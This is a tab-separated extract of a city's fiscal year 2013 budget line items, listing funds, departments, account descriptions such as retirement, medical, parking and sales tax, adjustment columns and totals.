1101	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	134347.0	0	0.0	0.0	0	0	0.0	1343	0.0	0	0	0.0	135690.0
1102	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	274676.0	0	0.0	4943.0	0	0	0.0	2796	0.0	-4646	0	0.0	277769.0
1103	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	72923.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72923.0
1104	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	36462.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36462.0
1105	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	52028.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	52028.0
1106	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	8690.0	0	0.0	3400.0	0	0	0.0	869	0.0	0	0	0.0	12959.0
1107	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	89068.0	0	0.0	0.0	0	0	0.0	891	0.0	0	0	0.0	89959.0
1108	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	107333.0	0	0.0	0.0	0	0	0.0	1073	0.0	0	0	0.0	108406.0
1109	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	402740.0	SMURRF-CITY OF LA-CAPITAL	662.0	Other	2013	-161662.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-161662.0
1110	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2013	594638.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	594638.0
1111	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2013	2448166.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2448166.0
1112	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2013	1846193.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1846193.0
1113	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	360276.0	0	0.0	-112.0	0	0	0.0	3602	0.0	0	0	0.0	363766.0
1114	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	664889.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	664889.0
1115	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	5214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5214.0
1116	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	78452.0	0	0.0	0.0	0	0	0.0	785	0.0	0	0	0.0	79237.0
1117	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	145564.0	0	0.0	0.0	0	0	0.0	1456	0.0	0	0	0.0	147020.0
1118	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	13904.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13904.0
1119	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	76355.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	76355.0
1120	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	10428.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10428.0
1121	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	205462.0	0	0.0	-14254.0	0	0	0.0	1912	0.0	0	0	0.0	193120.0
1122	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	10390.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10390.0
1123	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2013	296565.0	0	0.0	0.0	0	0	0.0	558	0.0	0	0	0.0	297123.0
1124	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511749.0	VISION	806.0	Salaries and Wages	2013	6928.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6928.0
1125	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2013	21960.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21960.0
1126	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511749.0	VISION	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	1088	0	0.0	1088.0
1127	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	27643.0	0	0.0	0.0	0	0	0.0	276	0.0	0	0	0.0	27919.0
1128	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	12160.0	0	0.0	0.0	0	0	0.0	122	0.0	0	0	0.0	12282.0
1129	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	2236.0	0	0.0	0.0	0	0	0.0	22	0.0	0	0	0.0	2258.0
1130	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511748.0	DENTAL	840.0	Salaries and Wages	2013	7144.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7144.0
1131	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2013	815.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	815.0
1132	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2013	9761.0	0	0.0	0.0	0	0	0.0	98	0.0	0	0	0.0	9859.0
1133	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2013	21365.0	0	0.0	0.0	0	0	0.0	-225	0.0	0	0	0.0	21140.0
1134	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511749.0	VISION	812.0	Salaries and Wages	2013	4210.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4210.0
1135	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	10064.0	0	0.0	0.0	0	0	0.0	101	0.0	0	0	0.0	10165.0
1136	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2013	134913.0	0	0.0	0.0	0	0	0.0	1349	0.0	0	0	0.0	136262.0
1137	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2013	719592.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	719592.0
1138	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2013	811039.0	0	0.0	0.0	0	0	0.0	8110	0.0	0	0	0.0	819149.0
1139	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2013	10390.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10390.0
1140	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400740.0	OTHER FINES / FORFEITURES	614.0	Fines and Forfeitures	2013	-90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-90000.0
1141	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	2854.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2854.0
1142	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	827.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	827.0
1143	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	6458.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6458.0
1144	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	4414.0	0	0.0	-251.0	0	0	0.0	0	0.0	-102	0	0.0	4061.0
1145	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2013	834.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	834.0
1146	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	2893.0	0	0.0	0.0	0	0	0.0	29	0.0	0	0	0.0	2922.0
1147	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	4438.0	0	0.0	0.0	0	0	0.0	44	0.0	0	0	0.0	4482.0
1148	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	3197.0	0	0.0	-190.0	0	0	0.0	0	0.0	0	0	0.0	3007.0
1149	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	780.0
1150	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DCAP	812.0	Salaries and Wages	2013	900.0	0	0.0	0.0	0	0	0.0	-72	0.0	0	0	0.0	828.0
1151	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DISABILITY INSURANCE	812.0	Salaries and Wages	2013	6200.0	0	0.0	0.0	0	0	0.0	62	0.0	0	0	0.0	6262.0
1152	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DCAP	812.0	Salaries and Wages	2013	1602.0	0	0.0	0.0	0	0	0.0	-15	0.0	0	0	0.0	1587.0
1153	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407080.0	30 DAY IMPOUND FEE	612.0	Charges for Service	2013	-109295.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-109295.0
1154	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2013	-235263.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-235263.0
1155	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401260.0	BEACH PARKING	612.0	Charges for Service	2013	-8253422.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8253422.0
1156	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	566631.0	SMURRF PLANT MAINTENANCE		 Supplies and Expenses	2013	425000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	425000.0
1157	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2013	433500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	433500.0
1158	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2013	17952.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17952.0
1159	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	910.0	 Supplies and Expenses	2013	122418.0	0	0.0	0.0	0	0	0.0	-22418	0.0	0	0	0.0	100000.0
1160	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	27	0	0.0	27.0
1161	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	29924	0	0.0	29924.0
1162	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	86100	0	0.0	86100.0
1163	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	45000	0	0.0	45000.0
1164	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2013	4692.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4692.0
1165	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	21000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21000.0
1166	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511490.0	OVERTIME		Salaries and Wages	2013	3000.0	0	0.0	0.0	0	0	0.0	30	0.0	0	0	0.0	3030.0
1167	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
1168	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402750.0	TDA SALES TAX-OPERATIONS	658.0	Sales Tax	2013	-16150186.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-16150186.0
1169	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404080.0	INTEREST - CAPITAL	659.0	Investment Income	2013	-139750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-139750.0
1170	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407030.0	PROP C FOOTHILL MITIGATION	658.0	Sales Tax	2013	-479732.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-479732.0
1171	B1	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	407320.0	MALL PARKING LEVY	622.0	Other	2013	-605918.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-605918.0
1172	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407340.0	US TREASURY REIMBURSEMENTS	610.0	Intergovernmental	2013	-51000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-51000.0
1173	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555020.0	OUTSIDE SERVICE-SECURITY		 Supplies and Expenses	2013	453000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	453000.0
1174	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511012.0	EST PAY RAISE-GEN GOV	804.0	Salaries and Wages	2013	1166341.0	0	0.0	0.0	0	0	0.0	-1091018	0.0	0	0	0.0	75323.0
1175	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	749646.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	749646.0
1176	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
1177	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588200.0	BLDG RENOVATION / MAINTENANCE	808.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
1178	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
1179	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2013	32000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32000.0
1180	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511490.0	OVERTIME	808.0	Salaries and Wages	2013	5335.0	0	0.0	0.0	0	0	0.0	53	0.0	0	0	0.0	5388.0
1181	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	1588.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1588.0
1182	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544050.0	CEMENT / SAND / GRAVEL	808.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
1183	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2013	3700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3700.0
1184	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2013	48646.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48646.0
1185	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2013	127378.22	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	127378.22
1186	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	577050.0	PROPERTY TAXES	866.0	 Supplies and Expenses	2013	126000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	126000.0
1187	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566220.0	CONVENTION / VISITORS	816.0	 Supplies and Expenses	2013	2483299.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2483299.0
1188	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	908.0	 Supplies and Expenses	2013	-30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-30000.0
1189	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	910.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
1190	B1	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2013	855603.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	855603.0
1191	B1	IS	30	Pier Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FD REIMBURSEMENT FROM PIER		 Supplies and Expenses	2013	186529.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	186529.0
1192	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555210.0	TRAINING	862.0	 Supplies and Expenses	2013	10600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10600.0
1193	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402490.0	WATER CAPITAL FACILITIES FEE	650.0	Charges for Service	2013	-336000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-336000.0
1194	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2013	-4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4000.0
1195	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405930.0	TRANSFER STATION - CITY DEPTS	650.0	Charges for Service	2013	-360000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-360000.0
1196	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402200.0	CEMETERY LOT SALES	650.0	Charges for Service	2013	-481950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-481950.0
1197	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
1198	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2013	47506.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47506.0
1199	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	23078.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23078.0
1200	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	782.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	782.0
1201	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	6168.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6168.0
1202	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561101.0	CLARE FOUND-GENERAL FUND		 Supplies and Expenses	2013	114064.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	114064.0
1203	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561139.0	OPCC INTERIM HOUSING & WELLNES		 Supplies and Expenses	2013	846052.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	846052.0
1204	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565232.0	DOMESTIC VIOLENCE PROGRAM		 Supplies and Expenses	2013	78856.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	78856.0
1205	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522620.0	RENT	804.0	 Supplies and Expenses	2013	18348.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18348.0
1206	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2013	25995.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25995.0
1207	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2013	4223157.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4223157.0
1208	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2013	3581.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3581.0
1209	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	13905.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13905.0
1210	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	67184.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	67184.0
1211	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	267952.0	0	0.0	-3115.0	0	0	0.0	2648	0.0	0	0	0.0	267485.0
1212	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	247315.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	247315.0
1213	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	12128.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12128.0
1214	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	415629.0	0	0.0	0.0	0	0	0.0	4156	0.0	0	0	0.0	419785.0
1215	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2013	249164.0	0	0.0	0.0	0	0	0.0	-28993	0.0	4646	0	0.0	224817.0
1216	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	8690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8690.0
1217	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	39824.0	0	0.0	-1700.0	0	0	0.0	0	0.0	0	0	0.0	38124.0
